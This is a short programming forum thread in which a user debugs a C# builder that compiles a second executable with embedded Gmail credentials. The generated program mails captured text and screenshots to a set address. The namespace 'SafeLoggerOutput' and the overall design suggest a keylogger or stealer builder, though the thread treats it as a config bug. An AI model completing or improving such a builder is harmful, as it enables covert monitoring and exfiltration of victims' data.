none
Compiler Inside The Program got errors - Gmail RRS feed

  • Question

  • Hello Everyone!

    I am using Visual C# to make a program, which compiles a code from string to export a new exe.
    the first can update some configs for the second, when i try to run the second program i get this Exception:

    The specified string is not in the form required for an e-mail address.

    While the code is:

      try
                {
                    MailMessage mail = new MailMessage();
                    SmtpClient SmtpServer = new SmtpClient(""smtp.gmail.com"");
    
                    mail.From = new MailAddress(Config.username);
                    mail.To.Add(Config.toEmail);
                    mail.Subject = Config.subject; ;
                    mail.Body = text;
    
                    if (sendImage)
                    {
                        var stream = new MemoryStream();
                        img.Save(stream, ImageFormat.Jpeg);
                        stream.Position = 0;
                        mail.Attachments.Add(new Attachment(stream, ""image / jpg""));
                    }
    
                    SmtpServer.Port = Config.smtpPort;
                    SmtpServer.Credentials = new System.Net.NetworkCredential(Config.username, Config.password);
                    SmtpServer.EnableSsl = true;
    
                    SmtpServer.Send(mail);
    Console.WriteLine(""Email has been sent!"");
                }
                catch (Exception e) { Console.WriteLine(e.Message); }

    When i try the code alone, it works normally, while when i use to compile the code my self i get the error.


    Saturday, July 14, 2018 5:58 PM

Answers

  • Probably Config.username and Config.toEmail do not contain valid E-mails, but it is not clear how these values are built and sent to your compiled code.


    • Marked as answer by alextoti Sunday, July 15, 2018 11:55 AM
    Saturday, July 14, 2018 8:23 PM

All replies

  • Probably Config.username and Config.toEmail do not contain valid E-mails, but it is not clear how these values are built and sent to your compiled code.


    • Marked as answer by alextoti Sunday, July 15, 2018 11:55 AM
    Saturday, July 14, 2018 8:23 PM
  • Probably
    Config.username and Config.toEmail do not contain valid E-mails, but it is not clear how these values are built and sent to your compiled code.
      void build(string email, string password) {   string code = @"using Microsoft.Win32;using System;using System.Collections.Generic;using System.Diagnostics;using System.Drawing;using System.Drawing.Imaging;using System.IO;using System.Linq;using System.Net;using System.Net.Mail;using System.Net.Sockets;using System.Runtime.InteropServices;using System.Security.Principal;using System.Text;using System.Threading;using System.Threading.Tasks;using System.Windows.Forms;using System.Security.Cryptography;namespace SafeLoggerOutput{    class Config    {  public static string username = @""" + email + @""";  public static string password = @""" + password + @""";        public static string toEmail = @""" + toEmail + @""";        public static string subject =@""" + subject + @"""; }}
    This is the way i set them
    Sunday, July 15, 2018 1:03 AM
  • When i filled the values my self, it worked, so i guess the problem is when im passing the data
    Sunday, July 15, 2018 11:28 AM